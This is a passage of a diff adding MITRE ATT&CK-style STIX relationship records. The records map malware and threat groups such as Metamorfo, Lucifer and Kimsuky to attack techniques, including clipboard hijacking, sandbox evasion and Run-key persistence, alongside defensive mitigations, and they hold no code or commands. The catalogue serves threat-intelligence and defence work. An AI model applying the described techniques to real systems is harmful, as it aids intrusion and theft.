+ "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6caff042-f300-421c-b6c8-6c8dd6d69f1b", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has automatically collected mouse clicks, continuous screenshots on the machine, and set timers to collect the contents of the clipboard and website browsing.(Citation: FireEye Metamorfo Apr 2018) ", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-10-21T22:48:31.298Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T16:25:56.742Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. 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Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--082b64f6-cc70-4bc8-a49f-bf0f125883f7", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has searched the compromised system for banking applications.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019)", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "modified": "2021-09-27T19:32:34.723Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T17:01:35.599Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. 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Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6cc8e1ce-c007-4a26-bd3b-cac73bb98c73", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has communicated with hosts over raw TCP on port 9999.(Citation: FireEye Metamorfo Apr 2018) ", + "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "modified": "2020-10-21T17:10:53.739Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T17:10:53.739Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.", + "source_name": "FireEye Metamorfo Apr 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4bd30351-b64b-47cb-897b-951b76ca668b", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used raw TCP for C2.(Citation: FireEye Metamorfo Apr 2018) ", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-10-21T17:10:53.776Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T17:10:53.776Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.", + "source_name": "FireEye Metamorfo Apr 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0894796-a4ed-48c4-94fc-7fc42175416d", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has undergone regular technical improvements in an attempt to evade detection.(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "modified": "2020-10-21T17:32:34.297Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T17:32:34.297Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad7b6185-bdb1-4271-b139-2d71dd85c0d4", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ", + "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", + "modified": "2021-09-27T17:42:20.567Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T18:31:51.757Z", + "external_references": [ + { + "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", + "description": "Zhang, X.. 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Retrieved September 23, 2021.", + "source_name": "ESET Casbaneiro Oct 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21cd565f-4cdc-46d6-95b3-32b2d618674e", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-09-27T17:42:20.664Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-21T18:31:51.770Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. 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Retrieved October 19, 2020.", + "source_name": "FireEye - Synful Knock" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a2c599c5-be26-4837-a613-b7d74446247c", + "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has checked for the presence of \"Little Snitch\", macOS network monitoring and application firewall software, stopping and exiting if it is found.(Citation: Unit42 CookieMiner Jan 2019)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-10-22T01:50:12.849Z", + "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-22T01:50:12.849Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, y., et al. 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Retrieved July 22, 2020.", + "source_name": "Unit42 CookieMiner Jan 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d06c7363-a7f6-43b1-8af8-9d3b9975160c", + "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", + "target_ref": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", + "modified": "2021-10-16T17:13:59.221Z", + "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-10-22T18:04:38.489Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fe8004eb-df5b-43c5-bf5a-1cbe028e8663", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has developed malware for use in operations, including the creation of infected removable media.(Citation: FBI Flash FIN7 USB)(Citation: FireEye FIN7 Oct 2019)", + "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", + "modified": "2020-10-22T18:47:28.621Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-10-22T18:45:48.529Z", + "external_references": [ + { + "url": "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf", + "description": "Federal Bureau of Investigation, Cyber Division. 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(2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. 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Retrieved November 16, 2020.", + "source_name": "Unit 42 Lucifer June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--339746da-8c6e-4273-8e17-895d3b50fe4d", + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.(Citation: Unit 42 Lucifer June 2020)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-11-20T16:59:43.829Z", + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-16T19:26:58.935Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). 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Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.", + "source_name": "Unit 42 Lucifer June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aecb4057-07a2-4b44-805a-5566a4047e23", + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-11-18T18:23:19.125Z", + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-16T19:36:31.507Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). 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Retrieved November 16, 2020.", + "source_name": "Unit 42 Lucifer June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--322a78a2-1765-414f-9b07-29a1360e1134", + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can download and execute a replica of itself using [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 Lucifer June 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-11-16T20:05:31.231Z", + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-16T20:05:31.231Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.", + "source_name": "Unit 42 Lucifer June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6", + "description": "[Lucifer](https://attack.mitre.org/software/S0532) can persist by setting Registry key values HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic.(Citation: Unit 42 Lucifer June 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-11-16T20:36:49.663Z", + "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-16T20:36:49.663Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. 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Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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Retrieved December 1, 2020.", + "source_name": "NCC Group Team9 June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d63c2b7-03e6-4747-81f2-9197faccd5fc", + "description": "[Bazar](https://attack.mitre.org/software/S0534) can attempt to overload sandbox analysis by sending 1550 calls to printf.(Citation: Cybereason Bazar July 2020)", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-11-20T19:08:15.800Z", + "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-19T16:37:47.257Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). 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Retrieved November 19, 2020.", + "source_name": "Zscaler Bazar September 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--46c4ce23-1285-49e5-92a0-863251af60cd", + "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) can open a command line to execute commands.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-11-19T18:02:58.667Z", + "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-19T17:07:09.086Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", + "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. 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[Sandworm Team](https://attack.mitre.org/groups/G0034) has also researched third-party websites to help it craft credible spearphishing emails.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "target_ref": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "modified": "2020-11-25T22:46:47.790Z", + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-11-25T22:46:47.790Z", + "external_references": [ + { + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. 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Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020.", + "source_name": "Unit42 Molerat Mar 2020" + }, + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80e06d13-4c96-464c-9b9f-d0cb2b5fac18", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used pass the hash for authentication to remote access software used in C2.(Citation: CISA AA20-301A Kimsuky)", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "modified": "2021-04-22T13:26:51.049Z", + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-15T18:01:09.595Z", + "external_references": [ + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. 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Retrieved December 17, 2020.", + "source_name": "FireEye ADFS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ce647878-e4d9-4472-9777-b731edbd3d9a", + "description": "Configure browsers/applications to regularly delete persistent web credentials (such as cookies).", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "modified": "2021-10-12T14:26:52.561Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T02:27:05.197Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5208729f-fc13-477a-984b-1035c581ad02", + "description": "Administrators should perform an audit of all access lists and the permissions they have been granted to access web applications and services. This should be done extensively on all resources in order to establish a baseline, followed up on with periodic audits of new or updated resources. Suspicious accounts/credentials should be investigated and removed.", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "modified": "2021-09-20T16:48:28.209Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T02:28:43.309Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--db2c5201-2ced-482d-913b-8dee1499441a", + "description": "Configure browsers/applications to regularly delete persistent web cookies.", + "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "modified": "2021-09-20T16:48:28.235Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T02:28:43.313Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b51d04ec-51da-4017-b806-210429592565", + "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "modified": "2021-09-20T16:47:19.672Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T15:24:12.401Z", + "external_references": [ + { + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. 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Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance)", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "modified": "2021-09-20T16:47:19.668Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T15:24:12.399Z", + "external_references": [ + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Customer Guidance" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8a716922-181e-409c-b112-851e7f172d7c", + "description": "Enable advanced auditing on AD FS. Check the success and failure audit options in the AD FS Management snap-in. Enable Audit Application Generated events on the AD FS farm via Group Policy Object.(Citation: FireEye ADFS)", + "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "modified": "2021-09-20T16:47:19.589Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T15:24:12.407Z", + "external_references": [ + { + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020.", + "source_name": "FireEye ADFS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--847b5ffb-77a2-4892-9e96-2b454a2c3f22", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "modified": "2020-12-17T15:24:12.424Z", + "source_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-12-17T15:24:12.424Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--673afcb8-2fb0-4c17-9f91-8fb409943531", + "description": "Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "modified": "2021-10-12T14:26:52.571Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T15:41:29.423Z", + "external_references": [ + { + "url": "https://www.troopers.de/troopers19/agenda/fpxwmn/", + "description": "Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020.", + "source_name": "FireEye ADFS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2d946f4-04fe-4b56-8152-80644b6b22d5", + "description": "Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance)", + "target_ref": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "modified": "2021-10-12T14:26:52.570Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-12-17T15:41:29.427Z", + "external_references": [ + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "source_name": "Microsoft SolarWinds Customer Guidance" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2f93fbb-2164-4de7-9d0b-24ad93caf7f2", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used the Csvde tool to collect Active Directory files and data.(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2020-12-28T15:29:54.586Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T16:16:08.548Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e31ca67c-1662-4d27-b349-44f3dda2a872", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "modified": "2020-12-29T16:51:25.563Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T16:16:08.594Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--06f7f9cd-4e6b-4abe-bff0-c9c0fcaf920e", + "description": "The primary delivered mechaism for [Agent Tesla](https://attack.mitre.org/software/S0331) is through email phishing messages.(Citation: Bitdefender Agent Tesla April 2020) ", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-04-21T02:04:30.524Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T16:56:47.246Z", + "external_references": [ + { + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47173be4-dc15-49c6-9e81-cba36c6e6c68", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can gather credentials from a number of browsers.(Citation: Bitdefender Agent Tesla April 2020) ", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2020-12-17T16:56:47.265Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-12-17T16:56:47.265Z", + "external_references": [ + { + "url": 